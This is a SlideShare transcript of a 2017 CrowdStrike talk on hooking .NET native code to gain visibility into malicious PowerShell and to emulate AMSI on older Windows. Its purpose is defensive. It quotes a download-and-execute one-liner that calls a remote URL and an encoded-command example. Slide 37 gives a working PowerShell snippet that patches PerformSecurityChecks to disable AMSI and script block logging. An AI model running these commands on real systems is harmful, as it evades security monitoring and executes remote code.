SlideShare a Scribd company logo
1 of 48
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
POWERSHELL INSIDE OUT:
APPLIED .NET HACKING FOR ENHANCED
VISIBILITY
SATOSHI TANDA
ENGINEER, CROWDSTRIKE
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
ABOUT MYSELF
 Engineer at CrowdStrike
 Twitter @standa_t
 Low-level technology software engineer
 Reverse engineer & malware analyst
 Developer of security software
 Creator of HyperPlatform & SimpleSVM (hypervisors)
 Conference speaker at REcon, BlueHat, Nullcon
 Slides & sample code will be available: github.com/tandasat/DotNetHooking
2
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.3
PERSONAL MOTIVATION
 Downloader -> Payload
 EXE -> EXE
upatre
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.4
PERSONAL MOTIVATION
 Downloader -> Payload
 Script -> EXE
upatre js downloader
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.5
PERSONAL MOTIVATION
 Presence of offensive, post exploitation tools
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.6
ABOUT TALK
How to defend ourselves against PowerShell
threats
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
1
Challenges with PowerShell Attacks &
AMSI
2 Introduction to .NET Native Code Hooking
3 Gaining Visibility into PowerShell
4 Takeaways & Recommendation
7
CHALLENGES WITH
POWERSHELL ATTACKS & AMSI
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.8
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
MALICIOUS POWERSHELL VS ANTIVIRUS
 PowerShell is commonly used within the attack chain
 Hard to detect with AV software
 Host process (powershell.exe) is a signed, legitimate file
 Script files can easily be mutated (ie, whitespace, comments, variable names)
 Script files may not be used at all
 PowerShell engine can be “injected” into arbitrary processes to run commands (eg, PSInject)
 Even harder in reality:
9
>powershell -file “C:UsersstandaAppDataLocalTempns13094.ps1"
>powershell -command “iex (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI’)”
>powershell -enc SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0A…
ANTIMALWARE SCAN INTERFACE (AMSI)
 New Feature introduced with Windows 10
 Software can be registered as an AMSI provider (requires NDA w/ Microsoft,
formally)
 Script engines forward script content to AMSI providers before execution
 AMSI providers can scan and block content from execution
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.10
System.Management.
Automation.dll
Jscript.dll
Amsi.dll
Amsi.dll
Amsi.dll
AMSI Provider
AsmiScanString
IAntimalwareProvider::Scan
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
SILVER BULLET
 Content of script file being executed is visible
 Invoke-Expression’d strings is visible
 Decoded strings of -EncodedCommand is visible
 Activated whenever the PowerShell engine is loaded
11
OR, IS IT? (1/2)
 AMSI is only available for PowerShell v5+ on Windows 10
 Older Windows versions are unprotected
 Unprotected against PowerShell v2 (the downgrade attack)
 AMSI does not do de-obfuscation as you might have wished
 Naïve regex can be bypassed
OR, IS IT? (2/2)
 AMSI can be disabled though PowerShell without admin privileges
 AMSI provider must detect the first attack content, or all bypassed
 Unresolved flaw exists preventing AMSI providers from receiving correct data
System.Management.
Automation.dll
Amsi.dll
Amsi.dll
Amsi.dll
AMSI Provider
AsmiScanString IAntimalwareProvider::Scan
COM Hijacking
Reflection-based
attacks
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
RECAP & MOTIVATION
 PowerShell threats are common and hard to detect
 AMSI provides significant help but comes with limitations
 Can we do anything?
15
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.16
INTRODUCTION TO
.NET NATIVE CODE HOOKING
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.17
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
.NET NATIVE CODE HOOKING
 A technique to modify behavior of managed programs by overwriting generated
native code at the runtime
 This allows you to inspect and change behavior of programs
 First introduced by Topher Timzen and Ryan Allen
 Its advantages over the other .NET hooking techniques were thoroughly analyzed
by Amanda Rousseau recently
18
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
BASICS OF MANAGED PROGRAM
EXECUTION (1/2)
 Code written in a Common Language
Infrastructure language, such as C#, is
compiled into a program made up of
Microsoft Intermediate Language (MSIL)
 We call such a program as a “managed
program”
 MSIL is compiled into native assembly code
in two ways:
 Just-In-Time (JIT) compile at runtime on
memory by the JIT compiler
 Ahead-Of-Time (AOT) of execution on disk
by Ngen
 Native code is executed either way
19
C# Source File(s)
C# Compiler
MSIL
(Executable File)
CLR
(JIT Compiler)
Ngen
Native Code
(Memory)
Native Code
(Executable File)
Compile
JIT Compile AOT Compile
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
BASICS OF MANAGED PROGRAM
EXECUTION (2/2)
 Managed programs are executed on the top of .NET Framework, which provides
API to be called by the managed programs
20
Assembly.NET Framework
Win32 API
Assembly Assembly
DLL DLL DLLDLL DLL DLL
Managed Program Unmanaged Program
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
BASICS OF MANAGED PROGRAM
EXECUTION (2/2)
 Managed programs are executed on the top of .NET Framework, which provides
API to be called by the managed programs
21
Assembly.NET Framework
Win32 API
Assembly Assembly
DLL DLL DLLDLL DLL DLL
Managed Program Unmanaged Program
Hook
Hook Hook
Hook
Hook
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
OVERVIEW OF HOOKING
 Flow of the unmanaged (eg, C++) code hooking technique:
1. Execute hooking code inside a target process
2. Locate the address of a target function
3. Overwrite native code at the address
 .NET native code hooking is same, except that it targets .NET assemblies and
methods
22
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
HOW TO LOCATE AN ADDRESS OF NATIVE
CODE
 Reflection is a technology to allow managed programs to find and access the
information of assemblies, methods, and fields etc. at runtime
 Think of this as full source code access at runtime
 RuntimeMethodHandle.GetFunctionPointer method returns the address of
compiled native code if already compiled
 Think of this as GetProcAddress API, but not limited to exports!
 If a target method has not yet executed, it might not be compiled and might not yet
have native code to be located
 JIT compilation can be triggered with the RuntimeHelpers.PrepareMethod method
23
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
EXAMPLE CODE (C#)
// Get an AmsiUtils class from an assembly
targetClass = targetAssembly.GetType("System.Management.Automation.AmsiUtils");
// Get a ScanContent method of the class
targetMethod = targetClass.GetMethod("ScanContent", ...);
// Perform JIT compilation if not done yet
RuntimeHelpers.PrepareMethod(targetMethod.MethodHandle);
// Get an address of compiled native code
targetAddr = targetMethod.MethodHandle.GetFunctionPointer();
// Overwrite contents of the address to install hook
// ...
24
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
HOW TO EXECUTE HOOKING MANAGED
CODE
 One must be able to execute managed code inside a target process to install
hooks
 This can be achieved by using the Hosting API from unmanaged code
 We will refer to such code as bootstrap code
 The API lets unmanaged code interact with managed code and load an assembly
into the managed code realm
 Bootstrap code can be injected in many ways (eg, AppInit_Dlls, device drivers)
25
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
USING UNMANAGED CODE
1. Inject bootstrap code into a target
process
2. Bootstrap code loads (or “injects”) a
hooking assembly into the managed
code realm
3. The hooking assembly locates a target
method, triggers JIT compilation as
needed, overwrites its native code
26
Managed
Unmanaged
Kernel
User
Bootstrap
Hooking
Assembly
Target
Assembly
Driver (*)
1) Inject bootstrap code
2) Load managed assembly
3) Force to JIT compile,
modify compiled native code
Target Process Address Space
*) Optionally, use a driver
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
USING APPDOMAINMANAGER
1. Register an assembly implements a
custom AppDomainManager
2. CLR loads the assembly when the first
AppDomain is created (at init-time of
the managed code realm).
3. The hooking assembly locates a target
method, triggers JIT compilation as
needed, overwrites its native code
 Pros: least code required
 Cons: need special settings (env var)
27
Managed
Unmanaged
Kernel
User
Hooking
Assembly
Target
Assembly
3) Force to JIT compile,
modify compiled native code
Target Process Address Space
.NET (CLR)
2) Load managed assembly
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.28
GAINING VISIBILITY INTO POWERSHELL
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.29
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
POWERSHELL IS A MANAGED PROGRAM
 PowerShell language is implemented in System.Management.Automation.dll
written in C#
 We will refer to the DLL as SMA.dll
 Powershell.exe is just a client program of the DLL
 Any behavior of SMA.dll can
be intercepted and altered with
the technique
30
Assembly.NET Framework
Win32 API
Assembly Assembly
DLL DLL DLL
Managed Program
Hook
Hook
Hook
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
ENHANCING AMSI & MORE
 Implement an AMSI equivalent feature for Windows 8.1 and earlier
 Implement an AMSI equivalent feature for PowerShell 4 and earlier
 Make AMSI bypass-resilient
 Cmdlet execution
 De-obfuscating strings
31
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
EMULATING AMSI ON OLDER WINDOWS + PS
V5
 Possible to emulate AMSI by hooking methods in SMA.dll
 In SMA.dll for v5, invocation to AMSI providers is implemented by the
AmsiUtils.ScanContent method
 Overwrite this with your own scan logic
internal static AmsiNativeMethods.AMSI_RESULT ScanContent (string content,
string sourceMetadata) {
if (amsiInitFailed) {
return AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
//...
hr = AmsiNativeMethods.AmsiScanString(...);
32
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
EMULATING AMSI ON OLDER POWERSHELL
 Some challenges:
 No AmsiUtils class, and no open source implementation
 Appropriate methods must be found with reverse engineering
 Good news ;-)
 Free .NET decompilers out there, and those produce VERY readable code
 dotPeek, ILSpy, JustDecompile
 Debugger works as if you had source code
 WinDbg + SOS and SOSEX
 Many implementation are still similar to the open sourced version
33
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
AMSI BYPASS-PROOF
 Known AMSI bypass techniques prevent the ScanContent method from calling the
AmsiScanString function or using a proper AMSI provider DLL
 Resetting amsiContext or amsiInitFailed
 Hijacking COM
 The unresolved flaw prevents AMSI providers from receiving correct data from
AMSI.dll
 None affect the emulated logic since nor ScanContent nor an AMSI provider is
used
34
System.Management.
Automation.dll
Amsi.dll
Amsi.dll
Amsi.dll
AMSI Provider
Hooked
Code
AsmiScanString IAntimalwareProvider::Scan
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
FURTHER VISIBILITY: CMDLET EXECUTION
 Access to all parameters that are already de-obfuscated
 The ProcessRecord method is called when a cmdlet is executed
 Eg, the InvokeExpressionCommand.ProcessRecord method for Invoke-Expression
 The “this” pointer holds all parameters
 PS> IEX ("{6}{2}{1}{4}{5}{3}{0}" -f 'd!','Hos','e-',' is a bad comman','t t','his','Writ’)
 this->_command holds “Write-Host this is a bad command!” when the method is called
35
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
DEMO: EMULATED AMSI & MORE
36
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
CHALLENGES & LIMITATIONS
 Requires reverse engineering and implementation-dependent code
 Can be noisy when lower-level methods are hooked
 An attacker can break hooks with the same technique (hooks are not security
boundary)
37
#
# Overwrites PerformSecurityChecks as { return }
# disabling AMSI and the most of suspicious script block logging.
#
> $code = [byte[]](0xc3);
> $addr =
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetMethod('PerformSecurityChecks',
'NonPublic,Instance', $null, [Type]::EmptyTypes, $null).MethodHandle.GetFunctionPointer();
> $definition = '[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr Address, UInt32 Size,
UInt32 NewProtect, out UInt32 OldProtect);‘;
> $kernel32 = Add-Type -MemberDefinition $definition -Name ‘Kernel32’ -Namespace ‘Win32’ -PassThru;
> $oldProtect = [UInt32]0;
> $kernel32::VirtualProtect($addr, $code.Length, 0x40, [ref]$oldProtect);
> [Runtime.InteropServices.Marshal]::Copy($code, 0, $addr, $code.Length);
TAKEAWAYS &
RECOMMENDATION
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.38
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
TAKEAWAYS
 AMSI significantly increases visibility into script execution as-is, but comes with
limitations
 .NET native code hooking allows you to inspect behavior of managed programs
 AMSI-equivalent features can be implemented on earlier versions of Windows and
PowerShell
 More extended capabilities can also be implemented as needed
39
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.40
FOR ENTERPRISE DEFENDERS
 Use Windows 10 + PowerShell v5, and review security features available
 AMSI gives excellent visibility as-is despite its limitations
 Script block logging provides postmortem visibility
 JEA (Just Enough Administration) restricts what admins can do with PowerShell
 Enable Constrained Language Mode with AppLocker or Device Guard
 Kills PowerShell (reflection) based AMSI and script block logging bypasses (and more!)
 Remove PowerShell v2
 Prevents the downgrade attack
 Keep systems up to date
 A fix of the AMSI bypass flaw will be coming soon
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.41
FOR HUNTERS & SECURITY SOFTWARE
VENDORS
 Understand capabilities AMSI offers (AMSI is supported and evolving)
 Review the .NET native code hooking technique for your goals
 It is a powerful technique to inspect managed programs
 Core concept is simple and has little undocumented-ness
 Can be handy for malware analysis too (eg, dynamic analysis, unpacking)
 Play with sample code to learn more: github.com/tandasat/DotNetHooking
 Can be applied for .NET Core (ie, PowerShell v6)
 Pay attention to appearance of GetFunctionPointer in PowerShell
 This technique can be abused by attackers
 Add-Type & VirtualProtect might not be required (JIT-ed code is RWE by default)
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
ACKNOWLEDGEMENTS
 Alex Ionescu (@aionescu)
 Aaron LeMasters (@lilhoser)
 Researchers influenced and motivated me the most:
 Matt Graeber (@mattifestation)
 Daniel Bohannon (@danielbohannon)
42
THANK YOU!
Satoshi Tanda
@standa_t
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.43
QUESTIONS
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.44
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
RESOURCES: RELEVANT RESEARCH
 AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
 Nikhil Mittal
 https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
 Hijacking Arbitrary .NET Application Control Flow
 Topher Timzen and Ryan Allen
 https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Topher-Timzen-Ryan-Allen-Hijacking-Arbitrary-NET-
Application-Control-FlowWP.pdf
 .Net Hijacking to Defend PowerShell
 Amanda Rousseau
 https://www.slideshare.net/AmandaRousseau1/net-hijacking-to-defend-powershellbsidessf2017
 https://arxiv.org/ftp/arxiv/papers/1709/1709.07508.pdf
 AMSI Bypass via PowerShell
 Matt Graeber
 https://twitter.com/mattifestation/status/735261120487772160
 https://gist.github.com/mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1
 AMSI Bypass via Hijacking
 Matt Nelson
 https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/
45
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.46
RESOURCES: CLR & .NET INTERNALS
 CoreCLR -- the open source version of CLR and .NET Framework
 https://github.com/dotnet/coreclr/tree/master/Documentation/botr
 https://github.com/dotnet/docs
 PowerShell Core -- the open source version of PowerShell
 https://github.com/PowerShell/PowerShell
 Hosting API and Injection
 https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/
 https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-e6581ee0 (CLR 4)
 https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-4da36165 (CLR 2)
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.47
RESOURCES: POWERSHELL DEBUGGING
 Debugging Managed Code Using the Windows Debugger
 https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-managed-
code
 WinDbg / SOS Cheat Sheet
 http://geekswithblogs.net/.netonmymind/archive/2006/03/14/72262.aspx
 WinDbg cheat sheet
 https://theartofdev.com/windbg-cheat-sheet/
 SOSEX
 http://www.stevestechspot.com/
 MEX Debugging Extension for WinDbg
 https://blogs.msdn.microsoft.com/luisdem/2016/07/19/mex-debugging-extension-for-windbg-2/
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.48
RESOURCES: EXAMPLE DEBUGGING
SESSION (1/2)#
# STEP 1: Run powershell.exe normally and attach with a WinDbg. Then break in
# to a debugger, and load SOS and SOSEX extensions.
#
0:003> .loadby sos mscorwks
0:003> .load C:windbg_initsosex_64sosex.dll
#
# STEP 2: Set a breakpoint onto the InvokeExpressionCommand.ProcessRecord method
#
0:003> !mbm Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord
Breakpoint set at Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord() in AppDomain 0000018a8fbe1670.
0:003> g
#
# STEP 3: Execute the Invoke-Expression cmdlet on PowerShell. The breakpoint
# should hit.
#
PS> IEX ("{6}{2}{1}{4}{5}{3}{0}" -f 'd!','Hos','e-',' is a bad comman','t t','his','Writ')
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.49
RESOURCES: EXAMPLE DEBUGGING
SESSION (2/2)#
# STEP 4: Dump contents of the "this" pointer and find the address of the
# _command field.
#
0:006> !do rcx
...
Fields:
MT Field Offset Type VT Attr Value Name
...
00007fff58e27ed0 4000252 70 System.String 0 instance 0000018a91e5fef0 _command
#
# STEP 5: Dump contents of the _command field.
#
0:006> !do 0000018a91e5fef0
...
String: Write-Host this is a bad command!

More Related Content

What's hot

How to Hunt for Lateral Movement on Your Network
How to Hunt for Lateral Movement on Your NetworkHow to Hunt for Lateral Movement on Your Network
How to Hunt for Lateral Movement on Your NetworkSqrrl
 
No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016Matthew Dunwoody
 
SpecterOps Webinar Week - Kerberoasting Revisisted
SpecterOps Webinar Week - Kerberoasting RevisistedSpecterOps Webinar Week - Kerberoasting Revisisted
SpecterOps Webinar Week - Kerberoasting RevisistedWill Schroeder
 
ReCertifying Active Directory
ReCertifying Active DirectoryReCertifying Active Directory
ReCertifying Active DirectoryWill Schroeder
 
Linux Crash Dump Capture and Analysis
Linux Crash Dump Capture and AnalysisLinux Crash Dump Capture and Analysis
Linux Crash Dump Capture and AnalysisPaul V. Novarese
 
aclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHoundaclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHoundDirkjanMollema
 
(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory PwnagePetros Koutroumpis
 
Derbycon - Passing the Torch
Derbycon - Passing the TorchDerbycon - Passing the Torch
Derbycon - Passing the TorchWill Schroeder
 
BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery
BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery
BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery BlueHat Security Conference
 
Derbycon - The Unintended Risks of Trusting Active Directory
Derbycon - The Unintended Risks of Trusting Active DirectoryDerbycon - The Unintended Risks of Trusting Active Directory
Derbycon - The Unintended Risks of Trusting Active DirectoryWill Schroeder
 
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...DefconRussia
 
Threat Hunting Procedures and Measurement Matrice
Threat Hunting Procedures and Measurement MatriceThreat Hunting Procedures and Measurement Matrice
Threat Hunting Procedures and Measurement MatriceVishal Kumar
 
The Unintended Risks of Trusting Active Directory
The Unintended Risks of Trusting Active DirectoryThe Unintended Risks of Trusting Active Directory
The Unintended Risks of Trusting Active DirectoryWill Schroeder
 
DerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting RevisitedDerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting RevisitedWill Schroeder
 
Pentesting iOS Applications
Pentesting iOS ApplicationsPentesting iOS Applications
Pentesting iOS Applicationsjasonhaddix
 
Microsoft Security Development Lifecycle
Microsoft Security Development LifecycleMicrosoft Security Development Lifecycle
Microsoft Security Development LifecycleRazi Rais
 
MindMap - Forensics Windows Registry Cheat Sheet
MindMap - Forensics Windows Registry Cheat SheetMindMap - Forensics Windows Registry Cheat Sheet
MindMap - Forensics Windows Registry Cheat SheetJuan F. Padilla
 
64 Methods for Mimikatz Execution
64 Methods for Mimikatz Execution64 Methods for Mimikatz Execution
64 Methods for Mimikatz ExecutionHadess
 

What's hot (20)

How to Hunt for Lateral Movement on Your Network
How to Hunt for Lateral Movement on Your NetworkHow to Hunt for Lateral Movement on Your Network
How to Hunt for Lateral Movement on Your Network
 
No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016
 
SpecterOps Webinar Week - Kerberoasting Revisisted
SpecterOps Webinar Week - Kerberoasting RevisistedSpecterOps Webinar Week - Kerberoasting Revisisted
SpecterOps Webinar Week - Kerberoasting Revisisted
 
ReCertifying Active Directory
ReCertifying Active DirectoryReCertifying Active Directory
ReCertifying Active Directory
 
Linux Crash Dump Capture and Analysis
Linux Crash Dump Capture and AnalysisLinux Crash Dump Capture and Analysis
Linux Crash Dump Capture and Analysis
 
aclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHoundaclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHound
 
(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage
 
Derbycon - Passing the Torch
Derbycon - Passing the TorchDerbycon - Passing the Torch
Derbycon - Passing the Torch
 
BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery
BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery
BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery
 
Derbycon - The Unintended Risks of Trusting Active Directory
Derbycon - The Unintended Risks of Trusting Active DirectoryDerbycon - The Unintended Risks of Trusting Active Directory
Derbycon - The Unintended Risks of Trusting Active Directory
 
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
 
Threat Hunting Procedures and Measurement Matrice
Threat Hunting Procedures and Measurement MatriceThreat Hunting Procedures and Measurement Matrice
Threat Hunting Procedures and Measurement Matrice
 
The Unintended Risks of Trusting Active Directory
The Unintended Risks of Trusting Active DirectoryThe Unintended Risks of Trusting Active Directory
The Unintended Risks of Trusting Active Directory
 
DerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting RevisitedDerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting Revisited
 
Pentesting iOS Applications
Pentesting iOS ApplicationsPentesting iOS Applications
Pentesting iOS Applications
 
DDoS Engelleme Ürünleri
DDoS Engelleme ÜrünleriDDoS Engelleme Ürünleri
DDoS Engelleme Ürünleri
 
Microsoft Security Development Lifecycle
Microsoft Security Development LifecycleMicrosoft Security Development Lifecycle
Microsoft Security Development Lifecycle
 
Windows Forensic 101
Windows Forensic 101Windows Forensic 101
Windows Forensic 101
 
MindMap - Forensics Windows Registry Cheat Sheet
MindMap - Forensics Windows Registry Cheat SheetMindMap - Forensics Windows Registry Cheat Sheet
MindMap - Forensics Windows Registry Cheat Sheet
 
64 Methods for Mimikatz Execution
64 Methods for Mimikatz Execution64 Methods for Mimikatz Execution
64 Methods for Mimikatz Execution
 

Similar to PowerShell Inside Out: Applied .NET Hacking for Enhanced Visibility by Satoshi Tanda

Applying Anti-Reversing Techniques to Machine Code
Applying Anti-Reversing Techniques to Machine CodeApplying Anti-Reversing Techniques to Machine Code
Applying Anti-Reversing Techniques to Machine CodeTeodoro Cipresso
 
ColdFusion 11 Overview - CFSummit 2013
ColdFusion 11 Overview - CFSummit 2013ColdFusion 11 Overview - CFSummit 2013
ColdFusion 11 Overview - CFSummit 2013Rupesh Kumar
 
.Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017 .Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017 Amanda Rousseau
 
Microsoft Tech Summit Switzerland 2019 - DOCKER + AZURE DEVOPS + KUBERNETES = ♥
Microsoft Tech Summit Switzerland 2019 - DOCKER + AZURE DEVOPS + KUBERNETES = ♥Microsoft Tech Summit Switzerland 2019 - DOCKER + AZURE DEVOPS + KUBERNETES = ♥
Microsoft Tech Summit Switzerland 2019 - DOCKER + AZURE DEVOPS + KUBERNETES = ♥Marc Müller
 
Parallel programming c++ win10 msmpi visual studio
Parallel programming c++ win10 msmpi visual studioParallel programming c++ win10 msmpi visual studio
Parallel programming c++ win10 msmpi visual studiopraveench1888
 
.NET MALWARE THREAT: INTERNALS AND REVERSING DEF CON USA 2019
.NET MALWARE THREAT: INTERNALS AND REVERSING DEF CON USA 2019.NET MALWARE THREAT: INTERNALS AND REVERSING DEF CON USA 2019
.NET MALWARE THREAT: INTERNALS AND REVERSING DEF CON USA 2019Alexandre Borges
 
Android Logging System
Android Logging SystemAndroid Logging System
Android Logging SystemWilliam Lee
 
tybsc it asp.net full unit 1,2,3,4,5,6 notes
tybsc it asp.net full unit 1,2,3,4,5,6 notestybsc it asp.net full unit 1,2,3,4,5,6 notes
tybsc it asp.net full unit 1,2,3,4,5,6 notesWE-IT TUTORIALS
 
01 Introduction to programming
01 Introduction to programming01 Introduction to programming
01 Introduction to programmingmaznabili
 
.NET Debugging Tips and Techniques
.NET Debugging Tips and Techniques.NET Debugging Tips and Techniques
.NET Debugging Tips and TechniquesBala Subra
 
.Net Debugging Techniques
.Net Debugging Techniques.Net Debugging Techniques
.Net Debugging TechniquesBala Subra
 
Android porting for dummies @droidconin 2011
Android porting for dummies @droidconin 2011Android porting for dummies @droidconin 2011
Android porting for dummies @droidconin 2011pundiramit
 
Building android apps with Gradle (GREACH 2015)
Building android apps with Gradle (GREACH 2015)Building android apps with Gradle (GREACH 2015)
Building android apps with Gradle (GREACH 2015)René Gröschke
 
Tips and tricks in the OSGi Web Console
Tips and tricks in the OSGi Web ConsoleTips and tricks in the OSGi Web Console
Tips and tricks in the OSGi Web ConsoleKevin Nennig
 
Raising the Bar on Robotics Code Quality
Raising the Bar on Robotics Code QualityRaising the Bar on Robotics Code Quality
Raising the Bar on Robotics Code QualityThomas Moulard
 
Advanced Container Automation, Security, and Monitoring - AWS Summit Sydney 2018
Advanced Container Automation, Security, and Monitoring - AWS Summit Sydney 2018Advanced Container Automation, Security, and Monitoring - AWS Summit Sydney 2018
Advanced Container Automation, Security, and Monitoring - AWS Summit Sydney 2018Amazon Web Services
 
Use Eclipse technologies to build a modern embedded IDE
Use Eclipse technologies to build a modern embedded IDEUse Eclipse technologies to build a modern embedded IDE
Use Eclipse technologies to build a modern embedded IDEBenjamin Cabé
 
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...Felipe Prado
 

Similar to PowerShell Inside Out: Applied .NET Hacking for Enhanced Visibility by Satoshi Tanda (20)

Applying Anti-Reversing Techniques to Machine Code
Applying Anti-Reversing Techniques to Machine CodeApplying Anti-Reversing Techniques to Machine Code
Applying Anti-Reversing Techniques to Machine Code
 
ColdFusion 11 Overview - CFSummit 2013
ColdFusion 11 Overview - CFSummit 2013ColdFusion 11 Overview - CFSummit 2013
ColdFusion 11 Overview - CFSummit 2013
 
.Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017 .Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017
 
Introduction to Programming Lesson 01
Introduction to Programming Lesson 01Introduction to Programming Lesson 01
Introduction to Programming Lesson 01
 
Microsoft Tech Summit Switzerland 2019 - DOCKER + AZURE DEVOPS + KUBERNETES = ♥
Microsoft Tech Summit Switzerland 2019 - DOCKER + AZURE DEVOPS + KUBERNETES = ♥Microsoft Tech Summit Switzerland 2019 - DOCKER + AZURE DEVOPS + KUBERNETES = ♥
Microsoft Tech Summit Switzerland 2019 - DOCKER + AZURE DEVOPS + KUBERNETES = ♥
 
Parallel programming c++ win10 msmpi visual studio
Parallel programming c++ win10 msmpi visual studioParallel programming c++ win10 msmpi visual studio
Parallel programming c++ win10 msmpi visual studio
 
.NET MALWARE THREAT: INTERNALS AND REVERSING DEF CON USA 2019
